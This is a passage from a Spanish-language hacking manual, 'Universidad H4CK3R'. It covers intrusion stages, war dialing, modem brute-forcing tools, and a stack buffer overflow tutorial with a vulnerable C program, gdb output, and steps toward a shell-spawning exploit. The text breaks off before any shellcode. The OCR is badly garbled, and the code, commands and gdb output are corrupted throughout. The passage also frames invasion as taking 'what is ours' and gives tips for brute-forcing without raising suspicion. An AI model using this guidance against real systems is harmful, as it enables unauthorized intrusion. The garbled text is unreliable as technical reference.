revisin. .onsidere cambiar el filtro de pa!uetes com%n, por uno orientado a estados y
meore las "./ del pro5y en el interior de la (;,. Nealmente, 7tienes (;,, o no8
3nstala sistemas de deteccin de intrusos o 3(S. 2s importante instalar uno de estos
para asegurarse de !ue tus registros se conservarn y cual!uier invasin se rastreara
fcilmente.
.ontraatacar en estos casos, aun!ue es posible 0un kiddie seran ruidoso en los registros,
e incluso los hackers e5perimentados cometen resbalones1 no estara ustificado. 2n este
punto, aun!ue peligrosamente al borde, el hacker no ha traspasado la barrera de la
legalidad. Nevise siempre sus registros y use posibles ata!ues y escaneos como
advertencias para actuali#ar sus sistemas.
205
ikimilikiliklik Universidad H4CK3R
"ta!ue, defensa y
contraata!ue
Invasin
.apitulo F 19
"bordar los bu!ues mercantes
invadir, sa!uear, tomar lo !ue es
nuestro G...G
Preparar nuestra invasin
* hacer usticia con las propias manos.
NP;, 4Nadio Pirata4
(el lbum CNevoluciones por minutoD.1BAI
206
ikimilikiliklik Universidad H4CK3R
47Por !u$ entr el perro en la iglesia48 "nte esta pregunta con trampa, la mayora de la
gente, despu$s de 4pensar4 un poco, dispara las respuestas ms absurdas e
incongruentes !ue el ser humano puede ser capa# de concebir. 4Por!ue lo llamo el cura.4
4Por!ue los ngeles le llevan a la plenitud espiritual.4 4Por!ue escuch la llamada de "la
para destruir el templo de los infieles idlatras.4 4Por!ue $l !uera.4 4Por !u$ s4. 4Por!ue
haba mercado y ola a salchichas.4 4Por!ue estaba en el rega#o de la dama.4 4"h, va a
probar, hermanoG4 Pero la respuesta correcta es la ms sencilla y ms lgica de todas. 2l
perro entr en el edificio por!ue la puerta estaba abierta.
; partir de este punto so%repasa(os los l(ites. /a ley brasile)a no reconoce el acceso a
los sistemas !ue estn abiertos a 3nternet como una invasin, tal como entrar en un
centro comercial no es una invasin= las puertas estn abiertas para ello.
Seg%n la ley de 22.::., sin embargo, este tipo de invasin 0de los sistemas y centros
comerciales1 es considerado invasin de la propiedad. Si usted no es bienvenido en un
sistema puede ser procesado por entrar. Si no es bienvenido en un centro comercial,
tambi$n puede serloG. Por lo menos hay un caso, divulgado por la prensa de un ciudadano
de los 22.::. procesado por invasin de propiedad por estar en el rea p%blica de un
centro comercial. ;e e5plico= el estaba con una camiseta pacifista 0la frase e5acta era
4Tive Peace " .hance4 de Zohn /ennon1 y la seguridad del centro comercial le pidi !ue
se !uitase la camiseta o saliese del edificio. .omo se neg a ambos, fue arrestado y
procesado. Home of the free...
"tencin, por lo tanto, cuando los sistemas a invadir est$n geogrficamente instalados all
o las empresas pertene#can a ese pas. :sted ser procesado por las leyes de all, y es
probable !ue sea e5traditado. Hacking b 6errorismo b .adena perpetua >
*a estas avisado, 7vale8
6a in1asi/n en eta7as
"s como hemos dividido nuestro ata!ue en seis etapas diferentes, de cuatro pasos F la
invasin F se pueden dividir en dos etapas.
2l primer paso es el acceso a un 3ost de red. .omo vimos en los captulos de redes, las
redes internas de las empresas no suelen utili#ar los n%meros de 3P enrutables a trav$s
de 3nternet. "s !ue primero tenemos !ue invadir un e!uipo limtrofe !ue tenga dos
interfaces de red y, por tanto, sirva a ambas. Por lo general, es el propio firePall, o un
pro5y, pero es posible, !ue errores de configuracin o descuido puedan dear otros
sistemas abiertos.
Para el primer paso, se pueden emplear un n%mero limitado de t$cnicas. 2ntre ellas, la
demanda de los mdems de aceptar cone5iones e5ternas 0Par dialing1 y la e5ploracin de
los fallos especficos a trav$s de e)ploits. 6enga en cuenta !ue no se dirigen a ning%n
sistema en particular. /os hackers pueden apuntar sus miras tanto a servidores como a
estaciones de trabao y hasta componentes de bastidor, tales como routers y similaresG
2l segundo paso es ms trabaoso !ue difcil. :na ve# conseguido el acceso a la red
interna, se pasa a la invasin sistemtica de los e!uipos dentro de la red. 2ste paso
consiste en romper contrase)as y acceder a reas restringidas, incluso para los !ue estn
207
ikimilikiliklik Universidad H4CK3R
dentro. -osotros decimos !ue es trabaoso por!ue, una ve# dentro, cada uno de los
sistemas autnomos a disposicin de los usuarios internos e5ige toda esa metodologa
!ue hemos visto= planificacin, observacin, seguimiento, invasin, mantenimiento y
evasin. * no se olvide= microata!ues varios 1F&F1F9F1F?F1FIF1FJF1 ... Siempre corria y
auste sus planesG /as cosas cambian, cambian los datos, los administradores y usted
siempre dispondr de nueva informacin. Si !uieres el $5ito, a organi#arseG
* si usted es un /ammer, no tiene nada !ue hacer a!u, ya !ue no te importa aprender
nada. Vete a ugar con los e5ploits publicados y permite a los profesionales trabaarG
War Jialing T "uer>a &ruta
Nedes configuradas correctamente, permiten el acceso %nicamente a puntos muy
especficos y controladsimos, por lo general una %nica cone5in a 3nternet. /as grandes
empresas tienen varios enlaces, pero todos ellos son 0o deberan ser1 controlados y
supervisados de forma rigurosa. Sin embargo, algunos empleados 4inteligentes4 intentan
eludir el acceso lento o los controles a sitios no autori#ados, con acceso telefnico o
"(S/, conectado directamente sus estaciones. 2stos empleados no son conscientes del
peligro real !ue representa esta prctica, las cone5iones estn completamente
desprotegidas y una ve# con acceso a estas cone5iones, el atacante ya est dentro de la
red, y puede !uemar las diversas etapas de su invasin.
2n otras ocasiones, la propia empresa necesita proporcionar acceso telefnico a sus
empleados viaeros o a las personas !ue trabaan desde casa. Para ello, tienen una
batera de de modems y docenas de n%meros de tel$fono disponibles para las llamadas
entrantes y las cone5iones. :n plato servido para los hackersG.
S, si, no iba a dear de comentar !ue el t$rmino ,ar >ialing fue acu)ado en la pelcula
Zuegos de Tuerra en el a)o 1BA9 en la !ue ;attheP +roderick marcaba todos los
n%meros !ue poda a trav$s de mdems libres. Pero es probable !ue ya lo sepa. Si no,
vaya a su videoclub y pregunte por la pelcula CZuegos de TuerraD. Si no es una pelcula
e5celente, al menos las referencias tecnolgicas son correctas F en, por supuesto, los
lmites de la precisin de HollyPood.
= Cono>ca sus armas
,ar dialing es la guerra. Si usted es un soldado va a la guerra y no toma su espada, esta
apa)adoG /as herramientas utili#adas por los $ar dialers son llamados, por lo general ...
CPar dialersD. :na b%s!ueda en Toogle traera varios sitios con estas herramientas, la
mayora gratuitas, de cdigo abierto y libres.
Necomendamos especialmente, entre ellas, el C6H. ScanD 0PPP.thc.org1. 2s la
herramienta - W 1 de los Par dialers. Mue desarrollada para (<S, pero puede ser utili#ada
en :ni5 con emuladores como dose(u.
Si !uieres echar un vista#o a cmo empe#aron las cosas, busca por C(emon (ialerD o por
C6one/ocD. Son herramientas similares a los !ue los p3rea/ers utili#aban en la $poca de
la pelcula de +roderick, incluida su propia CmakeFupD de la escena.
Para :ni5, adems de 6H. U (osemu algunos nativos como CO"N(D, o oyas como
CZericD y CShock(ialD ambos disponibles en PPP.securityfocus.comLtoolsLcategoryL&J.
208
ikimilikiliklik Universidad H4CK3R
Hay tambi$n muchos $ar dialers comerciales, dise)ados para permitir a las empresas
probar sus instalaciones en busca de mdems perdidos. :no de los ms completos es el
CPhone SPeepD 0PPP.sandstorm.net1. ;s all de la e5celencia del softPare, la compa)a
promete suscripcin de consultora y de apoyo 0con una cuota mensual1.
:na lista de e!uipos vulnerables conocidos y detectables por CPhone SPeepD se puede
encontrar en PPP.sandstorm.netLproductsLphonesPeepLsysids.shtml. <tra opcin es
C6eleSPeepD de Securelogic. ;s informacin telesPeepsecure.Securelogi5.com.
-uestra recomendacin= (escargar, instalar y ugar con, al menos, las herramientas
gratuitas !ue figuran en esta lista. :sted encontrar !ue en esta $poca de "(S/ y cable
mdem, todava hay muchos mdems de acceso telefnico para recibir llamadas, sobre
todo en negocios.
<tro conseo= Puede utili#ar los marcadores de los 3SP como $ar dialers improvisadosG /a
mayora de ellos tienen un archivo e5terno con una lista de n%meros de tel$fono para la
cone5in. Slo tiene !ue sustituir la lista por una especialmente creada, y consigue un Par
dialer instantneamente, incluso con rellamada automtica y escaneo de todos los
n%meros de la lista. (escargue los marcadores de todos los proveedores !ue usted
recuerde y verifi!uelo. 2ste truco es muy %til cuando se utili#a un computadora como
marcador y no !uiere levantar sospechas con programas especiali#ados. :n escaneo de
6H. levantara sospechas en el ordenador de su to, pero los marcadores de iT 0o 6erra,
i+est, :</ o "</ ...1 pasan desapercibidos, especialmente si su to es abonado de estos
proveedores.
= *8, la fuer>a &ruta es tan 8ermosa.
Seguro, !ue encontr n%meros tel$fono !ue tienen mdems para contestar las llamadas
entrantes. Pero ahora, 7!u$ hacer con ellos8 "hora entra en uego otro tipo de $ar dialer,
en ve# de volver a escanear los n%meros de mdems, hace numerosos intentos para
209
ikimilikiliklik Universidad H4CK3R
acceder a un mismo n%mero.
Si en otros tipos de control de acceso por login y contrase)a, puedes encontrar otros
medios de entrada al pro(t !ue no son por fuer#a bruta, la cosa es diferente con los
mdems. -o tienes ning%n otro tipo de informacin !ue el pro(t del sistema operativo
pidiendo un usuario vlido. Su %nica salida es utili#ar la fuer#a bruta para tratar de entrar.
Por supuesto, usando sus listas de palabras 0!ue vimos en los captulos sobre la
vulnerabilidad1, saber el nombre de un usuario ayuda mucho a!u. "tencin /ammersG
:sar la inyeccin de SE/ en mdems es la muestra de estupide# ms grande !ue
podrais hacer. -o hac$is ning%n da)o, pero muestra claramente !ue no sab$is nada de
nada, > 3ros a ugar con el coche o la mu)ecaG
Si ha utili#ado el C6H. ScanD, un buen compa)ero para el es el C6H. /ogin HackerD.
(escarguelo y vea lo fcil !ue es entrar, cuando se encuentra un mdem 4comprensivo4.
2n la pgina Peb oficial hay varios programas, e5ploits y brutoFfor#adores para muchos
protocolos, incluyendo S;+, H66P, M6P y pro5y. PPP.thc.orgLreleases.php
Por cierto, el C6H.D es un acrnimo de 83e .ac/ers 13oice ... " pesar de la arrogancia
y la vanidad del ttulo otorgado, las herramientas son en realidad muy buenas. 2n el sitio
encontramos muchos documentos t$cnicos sobre la invasin y seguridad !ue valen la
pena leer.
Com7rensi/n de des&ordamiento de 7ila M&uffer o1erflowN
Varios e5ploits se valen de los llamados %uffer overflo$s para obtener un shell en los
sistemas vulnerables a ellos.
/os 4script kiddies4 aplican tales e5ploits sobre sus presas sin saber e5actamente !u$ son
y cmo funcionan. .omo !ueremos tener ms !ue nociones, en realidad, una profunda
comprensin de cmo funcionan estas herramientas_ tenemos !ue escarbar un poco ms
en los bits, esta ve# mirando de cerca el cdigo de la aplicacin. -i !ue decir tiene !ue
necesitas refrescar tus conocimientos de lenguaes de programacin, pero nada de otro
planeta.
.omo el nombre es Cdesbordamiento de pilaD, es evidente !ue e5iste una pila a reventar
0QbuffG1. Para entender cmo funciona el desbordamiento, primero debemos conceptuali#ar
lo !ue sera una pila.
= Un mont/n de cosas
/a palabra pila trae a la mente dos imgenes=
1. :n montn en piedras, platos, monedas, de cuerpos en las pelculas de Stallone >
&. :n pila de energa el$ctrica utili#ada en los uguetes y linternas.
6omemos la primera imagen. :na pila de monedas, un eemplo, las !ue 6o Tilito tiene
sobre su escritorio o en la caa fuerte. 2l taca)o encantador en su Patolandia ordena
diligentemente las monedas, una sobre la otra. "s, cuando va a guardarlas en la cmara
acora#ada el buen avaro cuidadosamente levanta el primera moneda y la pone en la
bolsa en dinero, despu$s la segunda, luego la tercera ... 6enga en cuenta un detalle= la
primera moneda !ue se retir fue la %ltima en ser colocada.
210
ikimilikiliklik Universidad H4CK3R
2n el eemplo de la pila de rocas, Pedro Picapiedra mediante su tratorossauro recoge
piedras retiradas de la ladera y las apila sobre el lugar indicado por el Sr. Pi#arra Trava,
su efe. 6enga en cuenta !ue en este caso, la piedras !ue Pedro recoge primero son las
!ue se !uedaron por debao en la pila. Pero tal ve# el meor eemplo 0y ms %til1 sea la
pila de platos. .uando los platos estn sucios en la mesa, usted los recoge y apila en las
manos o en una bandea. -ota= el %ltimo plato !ue usted tom est en la parte superior de
la pila. .uando llega a la cocina, act%a en sentido contrario. .omo no puede colocar toda
la pila a la ve#, toma plato por plato y los apila de nuevo, esta ve# en el fregadero. "
medida !ue va lavndolos, usted los apila por tercera ve# 0ya limpios1 en el otro lado de la
tina, y otra ve# el !ue era el %ltimo, es el primero. Para guardr3os en el armario ... Pienso
!ue te haces una idea.
7* las bateras de linterna8 2llas no tienen mucho !ue ver con la tema de ahora. Slo por
curiosidad, el nombre de 4pilas4 se da a este elemento generador de energa por!ue las
primeras pilas electroF!umicas, estaban formadas por varios discos de diferentes metales
0como monedas, a veces incluso monedasG1 alternos entre s y sumergidos en una
solucin cida o agua salada. Pensndolo bien, hasta tiene !ue ver ...
= 6as 7ilas en el reino digital
7* !ue relacin tienen los ordenadores con esto8 6omando prestado el concepto de pilas,
los programas en general 0y sistemas operativos en particular1 puede tomar peda#os de
datos y almacenarlos en reas de memoria llamadas pilas o stacks. 2s una manera fcil
de almacenar datos pe!ue)os, ya !ue en un acceso convencional de memoria el
programa est obligado a=
1. 2stablecer la ubicacin de memoria donde se guardarn los datos_
&. 2stablecer el tama)o en bytes !ue se les dar_
9. Neservar este tama)o en bytes en la posicin definida_
?. 2nviar los datos a esa posicin_
I. +lo!uear la posicin para !ue no se sobrescriba.
Para recuperar los datos, el programa tendr=
1. Necordar la posicin de memoria donde estn los datos_
&. "puntar a esa posicin_
9. Necordar el tama)o de los datos en bytes_
?. 25traer los bytes de memoria de esa posicin_
I. /iberar la posicin para su uso futuro.
2n el caso de la pila, no hay necesidad de esto. 2l programa simplemente=
1. 2nviar datos a la pila 0push1.
2n el momento de recuperr3os, simplemente=
1. 25trae los datos de la pila 0pop1.
* claro, como es un acceso no aleatorio y secuencial, si !ueremos utili#ar la segunda
211
ikimilikiliklik Universidad H4CK3R
celda de datos tendrn !ue retirarse antes los primeros datos. 2sto trae dificultades
adicionales para el programa, !ue tiene !ue 4dar forma4 a la gestin de los datos de la pila
correctamente. Sin embargo, hay aplicaciones en las !ue este enfo!ue es el meor. Por
eemplo, supongamos !ue !ueremos hacer un programa !ue hace una suma de tres
valores. /a forma ms simple de tal programa sera=
1. /lame a la funcin suma 0a, b1_
&. <btiene el primer n%mero y lo entrega a la funcin suma_
9. <btiene el segundo n%mero y lo entrega a la funcin suma_
?. .oloca el resultado en la pila_
I. /lame a la funcin suma 0a, b1_
J. <btiene el tercer n%mero y lo entrega a la funcin suma_
@. 25trae la parte superior de la pila y la entrega la funcin suma_
A. Suma 0a, b1 hace la operacin y arroa el resultado en la salida.
<bserve !ue el resultado de la primera suma se almacena en la pila, en espera de ser
llamado de nuevo al fluo normal del programa. 2sta solucin, implicando posiciones de
memoria, e5igira funciones para reservar memoria para tres variables, envo y
recuperacin triplicada de datos y, posiblemente, una funcin suma ms complea.
2ste eemplo es didctico, pero dista de ser ideal. Veamos un pe!ue)o programa en ..
(ebe funcionar de forma id$ntica en cual!uier plataforma, ya !ue utili#a las bibliotecas
especficas.
-o te preocupes, no es necesario haber visto un programa . alguna ve# en la vida para
entender esto. Sepa !ue, cual!uier lenguae estructurado !ue se precie le permite crear,
con los comandos bsicos !ue tiene, funciones ms compleas para ser utili#adas por el
programa principal. 2n nuestro eemplo 0y en cual!uier cdigo .1, el programa principal es
4eti!uetado4 por la funcin (ain #&. (entro de los corchetes ]e^ tenemos el programa
completo, !ue consiste en otras dos funciones=
212
ikimilikiliklik Universidad H4CK3R
funcaoSidiota #& llama a una funcin, creada por nosotros mismos, y declarada en el inicio
del programa. 2n la lnea siguiente, return L, muestra !ue el programa debe terminar en
esa lnea y volver a el shell !ue lo llam.
6enemos !ue definir funcaoSidiota #& antes de !ue pueda ser utili#ada. 2ntonces, vamos a
ellaG void funcaoSidiota #void&
/a funcin es, ms o menos, una subrutina !ue se puede utili#ar varias veces dentro del
programa. 2n nuestro 4main 014, la usamos una sola ve#, pero podramos, si !uisi$ramos,
usarla en varios lugares del cdigo. /o !ue hace esta idiote# es= 11 crear una variable
llamada )u)u con un tama)o de I bytes, &1 utili#ar la funcin gets #& de . para obtener los
caracteres del teclado y los arroa en la variable 5u5u, 91 utili#a la funcin printf #& para
reproducir en el resultado en la pantalla.
Si ests en una m!uina :ni5, puedes compilar el programa y probarlo. 2n la mayora de
los sistemas, utili#a el comando=
6 cc +o i"iot# i"iot#Bc
Siendo idiota.c el archivo de te5to !ue contiene el cdigo del programa e idiota el archivo
eecutable generado por el compilador cc. 2n /inu5 y Mree+S( usa gcc en ve# de cc.
Para eecutar el programa, escriba=
6B Ci"iot#
"l parecer, no pasa nada. Pruebe a escribir una carcter y pulse `2ntere. 2l carcter se
repetir en la pantalla. 2so es lo !ue hace el programa.
2n una m!uina (<S o OindoPs, el procedimiento es parecido. Puedes buscar alg%n
compilador de lnea de comandos. Prueba 6<(<S y elige tu favoritoG
Volvamos a nuestro del programa. .uando el (ain #& llama a funcaoSidiota #&, el
procesamiento del programa principal es interrumpido y desviado a la funcin. .uando la
funcin termina su procesamiento, vuelve a la rutina principal.
;ira el cdigo de nuevo, esta ve# con el fluo de procesamiento indicado por las flechas=
213
ikimilikiliklik Universidad H4CK3R
/indo, 7eh8 2n principio, funciona. Sin
embargo, para detener el procesamiento de
(ain #& es necesario poner todo lo !ue
(ain #& est haciendo en alguna parte,
desviar el procesamiento a funcaoSidiota #&*
procesar lo !ue est all y luego regresar a
(ain #&. "dems de devolver los posibles
valores de la funcin llamada 0!ue no es
nuestro caso1, tambi$n necesitamos tener
una manera de saber donde estaba en la
memoria el procesamiento de (ain #& para
reanudar el proceso.
.omplicado8 *a me lo imaginaba. :na
3lustracin ayudaG
Principio de la ;emoria
(atos anteriores de la pila
(atos de main 01
Puntero de retorno
Puntero de pila
(atos de la funcin idiota 01 0es decir, la
variable 5u5u1
N Sentido de empilamiento N
7Pero no era una pila8, 7Por!ue est al rev$s8 +ueno, por lo general las pilas se
almacenan de arriba a abao, estando los datos ms antiguos en la posicin ms alta de
la memoria y la pila creciendo en direccin a la posicin ms baa. Piense en ello como
una pila de monedas hechas en el techo hacia el suelo. :sted puede tener !ue utili#ar
pegamento para sostener las monedas, pero sigue siendo una pila.
.omo hemos dicho, los datos de (ain #& se reproducen en la pila. 6enga en cuenta !ue
no tiene necesariamente !ue estar vaca y puede contener, por eemplo, los datos del
shell o de la ventana donde el programa fue llamado. (espu$s de (ain #& tambi$n se
almacena en la pila un puntero, llamado puntero de direccin de retorno o return address
pointer. 2s $l !uien indica al proceso donde encontrar la siguiente instruccin despu$s del
desvo 07dnde estaba81. 2n nuestro caso particular, el return pointer guarda la direccin
de memoria donde reside la instruccin return L.
(espu$s del puntero de retorno, el sistema coloca un puntero de pila, !ue apunta a una
tabla con datos de control sobre la propia pila F !ue por supuesto el lector entiende hace
falta. Por %ltimo, van los datos temporales de nuestra funcin secundaria, llamada por
(ain #&. 2n nuestro caso, es la variable )u)u, creada por nuestra funcin functionSidiota #&.
.uando la funcin secundaria completa su procesamiento, sus datos se e5traen de la pila,
despu$s el puntero de control de pila y, despu$s el puntero de la direccin de retorno.
.uando el procesamiento vuelve a su posicin original, los datos de (ain se e5traen de la
pila y todo vuelve a ser como era antes. 72n serio8
= Je&ug is on t8e ta&le
Necordemos los detalles vistos en los dos prrafos anteriores. 2l segundo estoy seguro
de !ue fue asimilado por el lector como una curiosidad, el primero debe haber pasado
desapercibido=
1. /a variable 5u5u fue definida como !ue contiene slo cinco bytes_
&. /a pila almacena los datos de abao hacia arriba.
Por a!uel entonces probamos nuestro programa as=
214
ikimilikiliklik Universidad H4CK3R
6B C i"iot#
#
#
6
.uando lleg a la funcin de el procesamiento gets #&, escribimos la letra 4a4. /a funcin
gets #& puso 4a4 en la variable )u)u, !ue fue impresa en la siguiente fila por printf #&.
Necuerde !ue )u)u tiene un tama)o de slo cinco bytes. 7Eu$ pasa si nos pasamos de
cinco8
... Vale, lo intentamos con cinco letras 4"4, la salida fue """"" .on seis """""" .on
siete """"""" .on ocho, sucedi algo interesante=
6
B C i"iot#
AAAAAAAA
AAAAAAAA
F#!!o "e se.ment#ci2n -core "m'e"0
6
Mallo de segmentacinG 2l programa fracas y gener un informe de errores con el
contenido de la memoria, grabado en el archivo core. 7Eu$ fue lo !ue paso8 Necordemos
ahora la pila. 2l espacio para nuestra variable )u)u 0!ue llamamos buffer1 era de I bytes F
definido por nosotros mismos 0c3ar )u)u =G?1. .ada caracter ocupa un byte, por lo !ue I
caracteres llenan el b%fer. Pero el sistema no tiene ning%n mecanismo para comprobarlo ,
o meor dicho, el lenguae . no lo tiene. Por lo tanto si ponemos ms de J caracteres en el
b%fer, habr desbordamiento. /os datos de ms se escribirn sobre alguna de las otras
cosas 0por lo general algo muy importante ...1.
"hora, el segundo detalle. /a pila se almacena hacia arriba. "s !ue si nos fiamos en la
representacin grfica !ue hemos hecho, te dars cuenta de !ue el se5to carcter se
escribir sobre Cel puntero de pilaDG
2l Cpuntero de pilaD tiene un n%mero de bytes 0el tama)o es variable1 y el de retorno, ?
bytes. Por eso, cuando escribimos J o @ caracteres, no pasa nada F estamos
sobrescribiendo Cel puntero de pilaD, en una regin !ue no nos afecta de inmediato. 6ras
el octavo carcter tenemos un problema inmediato= estamos sobrescribiendo una #ona
importante del Cpuntero de pilaD.
Si avan#amos un poco ms, alrededor la caracter decimocuarto o d$cimo!uinto
llegaremos al Cpuntero de retornoD GGGGG "hora, el primer byte de la direccin de retorno no
ser la direccin original, ser el valor he5adecimal del carcter !ue escribimosG Si es ",
por eemplo, el valor he5adecimal sera ?1h. Vamos a depurar nuestro programa usando
un gd%, un depurador T-: F para (<S, bus!ue una herramienta adecuada 0como un
debug1, o use la m!uina /inu5 de nuestra red de prueba. Primero, eecutamos nuestro
programa y generamos un core du(p con muchas 4"4 s=
6B C i"iot#
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
F#!!o "e se.ment#ci2n -core "m'e"0
6
215
ikimilikiliklik Universidad H4CK3R
"hora, vamos a eecutar gd% y ver lo !ue nos dice=
6 ."/ i"iot# core
TN( ."/ ;B>
Co'yri.$t 9AA> Free Soft)#re Fon"#tionO IncB
T4L is free soft)#reO covere" /y t$e TN( BBB
-cort#0
-no "e/..in. sym/o!s fon"0BBB
Core )#s .ener#te" /y [BCi"iot#[B
,ro.r#m termin#te" )it$ si.n#! >>O Se.ment#tion f#!tB
Re#"in. sym/o!s from C!i/C!i/cBsoB=BBB
-no "e/..in. sym/o!s fon"0 BBB"oneB
Lo#"e" sym/o!s for C!i/C!i/cBsoB=
Re#"in. sym/o!s from C!i/C!"+!in&BsoB9BB B"oneB
Lo#"e" sym/o!s for C!i/C!"+!in&BsoB9
WA O&K>K>K>K> in VV -0
-."/0
6
/a lnea ms importante por ahora es WA O&K>K>K>K> in VV -0. 3ndica la Cdireccin
de retornoD. <bserve !ue, en ve# de la direccin correcta, tenemos nuestro carcter "
0?1h1 repetido varias veces. +uena forma de hacer !ue el programa se interrumpaG
-uestro pe!ue)o programa termina usto ah, pero vamos a hacer una prueba= entre las
lneas funcaoSidiota #& y return L, colo!ue siguiente lnea printf #&=
`
fnc#o_i"iot# -0
a
'rintf -]No se 'e"e '!s#r Intro Retorno 'ntero \ n \ n]0a
Oa
b
"hora compile y eecute el programa. :sted ver !ue, hasta 11 caracteres, se muestra un
mensae final antes de core du(p. .on 1& o ms caracteres, el mensae se pierde=
llegamos al Cpuntero de retornoDG 2ste valor, por supuesto, depende del programa, los
datos grabados en el stack, el tipo de datos de nuestro buffer, etc.
Conseguir acceso 7or des&ordamiento de 7ila
Slo para meter un montn de 4"4 en el buffer no es muy %til. 7* si se podra eecutar un
cdigo m!uina8 0s, tiene !ue ser el cdigo m!uina, al final el programa est
compilado ...1 Podramos eecutar una pe!ue)a rutina cargada en el mismo buffer, !ue es
el %nico lugar al !ue tenemos acceso. (esviar el procesamiento al buffer no re!uiere
prctica o habilidad= ya tenemos control sobre el Cpuntero de retornoD, slo hay !ue poner
en $l la direccin del buffer en lugar del montn de 4"4.
-ote !ue este procedimiento es muy similar a la inyeccin SE/ !ue vimos en el captulo
Vulnerabilidades 33. :tili#amos un campo accesible desde el e5terior por el usuario F en el
caso de SE/, un campo de un formulario, a!u, una variable solicitando un dato F e
inyectamos en el los comandos pertinentes.
Hablamos en cdigo de m!uina, 7no8 "!u tenemos la gran mayora de e5ploits !ue
216
ikimilikiliklik Universidad H4CK3R
aprovechan el desbordamiento de b%fer de alg%n programa mal escrito. -osotros
!ueremos obtener una shell en el sistema, y eso depende del sistema operativo. 2l
programa !ue ofrece la shell en Solaris no es el mismo !ue el de ;ac<S ni tampoco es el
mismo en OindoPs ... 2s ms, para llamar a este shell nosotros tenemos !ue poner un
cdigo de m!uina en el b%fer, lo !ue significa !ue tenemos !ue hacer un e5ploit para
cada par S<U hardPare e5istente . :n e5ploit para /inu5 en "lpha no es lo mismo !ue
uno para /inu5 en i9AJ 0P. ordinario1. 2s el mismo sistema operativo pero no el mismo
procesador. Por otra parte, un P. con OindoPs &''' necesitar un e5ploit diferente de un
Solaris !ue se eecute en el mismo P.. 2s el mismo procesador, pero no el mismo
sistema operativo. " pesar de !ue est utili#ando el mismo programa con errores 0por
eemplo, el int$rprete Perl de cada S<1 un e5ploit de ese programa ser diferente para
cada combinacin de S< U HO
Para fines didcticos, nos limitaremos a un P. y a /inu5. Vamos a 4desmontar4 nuestro
pe!ue)o programa con gd%=
6 ."/ i"iot#
YYY mens#Des #m/i.os YYY
-."/0"is#ss m#in
4m' of #ssem/!er co"e for fnction m#inE
A&@AK@K=K _m#inJE 's$ ce/'
A&@AK@K=; _m#ind!JE mov ces'O ce/'
A&@AK@K=: _m#ind<JE s/ 6A&@O ces'
A&@AK@K=# _m#ind=JE c#!! A&@AK@K<A _fnc#o_i"iot#J
A&@AK@K=f _m#ind>>JE #"" 6A&fffffffKO ces'
A&@AK@K:9 _m#ind>KJE 's$ 6A&@AK@;9A
A&@AK@K:: _m#ind>8JE c#!! A&@AK@<<K _'rintfJ
A&@AK@K:c _m#ind9KJE #"" 6A&!AO ces'
A&@AK@K:f _m#ind9:JE &or ce#&O ce#& O&@AK@K@< _m#ind<>J
A&@AK@K@> _m#ind98JE Dm'
A&@AK@K@< _m#ind<>JE !e#ve
A&@AK@K@K _m#ind<9JE ret
A&@AK@K@; _m#ind<<JE !e# A&A-cesiO!0 Ocesi
A&@AK@K@8 _m#ind<:JE !e# A&A-ce"iO!0 Oce"i
En" of #ssem/!er "m'B-."/0
<bserve la linea
A&@AK@K=# _m#ind=JE c#!! A&@AK@K<A _fnc#o_i"iot#J
Nefrescando un poco nuestros conocimientos de ensamblador, recordamos !ue la funcin
CcallD llama a otra funcin cual!uiera residente en la direccin especificada. .omo el
lenguae m!uina no asigna nombres a las subrutinas, el sistema tiene !ue saber
e5actamente donde estn en la memoria. "l principio de la lista, observe !ue la funcin
CmainD comien#a en la ubicacin de la memoria '5A'?A?J? y la instruccin CcallD llama a
una subrutina !ue est en '5A'?A?9'. Vamos a echar un vista#o a la funcin
funcaoSidiota #&=
-."/0 "is#ss fnc#o_i"iot#
4m' of #ssem/!er co"e for fnction fnc#o_i"iot#E
A&@AK@K<A _fnc#o_i"iot#JE 's$ ce/'
A&@AK@K<> _fnc#o_i"iot#d>JE rnov ces'Oce/'
217
ikimilikiliklik Universidad H4CK3R
A&@AK@K<< _fnc#o_i"iot#d<JE s/ 6A&>@Oces'
A&@AK@K<= _fnc#o_i"iot#d=JE #"" 6A&fffffffKOces'
A&@AK@K<8 _fnc#o_i"iot#d8JE !e# A&fffffff@-ce/'0 Oce#&
A&@AK@K<c _fnc#o_i"iot#d>9JE 's$ ce#&
A&@AK@K<" _fnc#o_i"iot#d><JE c#!! A&@AK@<AK _.etsJ
A&@AK@KK9 _fnc#o_i"iot#d>@JE #"" 6A&!AOces'
A&@AK@KK; _fnc#o_i"iot#d9>JE #"" 6A&fffffff@Oces'
A&@AK@KK@ _fnc#o_i"iot#d9KJE !e# A&fffffff@-ce/'0 Oce#&
A&@AK@KK/ _fnc#o_i"iot#d9:JE 's$ ce#&
A&@AK@KKc _fnc#o_i"iot#d9@JE 's$ 6A&@AK@;AA
A&@AK@K;> _fnc#o_i"iot#d<<JE c#!I A&@AK@<<K _'rintfJ
A&@AK@K;= _fnc#o_i"iot#d<@JE #"" 6A&!AOces'
A&@AK@K;8 _fnc#o_i"iot#dK>JE Dm' A&@AK@K=A _fnc#o_i"iot#dK@J
A&@AK@K;/ _fnc#o_i"iot#dK<JE no'
A&@AK@K;c _fnc#o_i"iot#dKKJE !e# A&A -cesiO >0 O cesi
A&@AK@K=A _fnc#o_i"iot#dK@JE !e#ve
A&@AK@K=> _fnc#o_i"iot#dK8JE ret
A&@AK@K=9 _fnc#o_i"iot#d;AJE mov cesiOcesi
En" of #ssem/!er "m'B -."/0
Q;iraG 2l call de la funcin (ain #& llama e5actamente a la funcaoSidiota #&. (entro de la
funcin de idiota, la lnea
A&@AK@K=>_fnc#o_i"iot#dK8JE ret
muestra la instruccin de ensamblador retorno 0ret1. 2sta instruccin utili#a el Cpuntero de
retornoD para volver a CmainD. Hemos llegado al centro de la cuestin de los e5ploits de
desbordamiento de b%fer. 2n pocas palabras, se necesita=
1. (escubrir una variable de tipo buffer !ue sea vulnerable_
&. .omprobar en el cdigo fuente o por ensayo y error, las direcciones donde estn las
llamadas a funciones , as como la direccin !ue marca el inicio del buffer de la variable_
9. Hacer un e5ploit !ue introdu#ca cdigo ma!uina en el buffer, !ue contenga las
instrucciones para darnos un shell y luego 4se coma4 la pila hasta lograr alcan#ar la
posicin del Cpuntero de retornoD, y all poner la direccin del principio del buffer.
:n eemplo en :ni5 sera una rutina !ue, a trav$s de la funcin e)ecve #& llamase a un
shell. e)ecve #& es una llamada de sistema !ue, simplemente le permite eecutar un
archivo binario e5terno al programa. QEu$ belle#aG (esde dentro de nuestro e5ploit
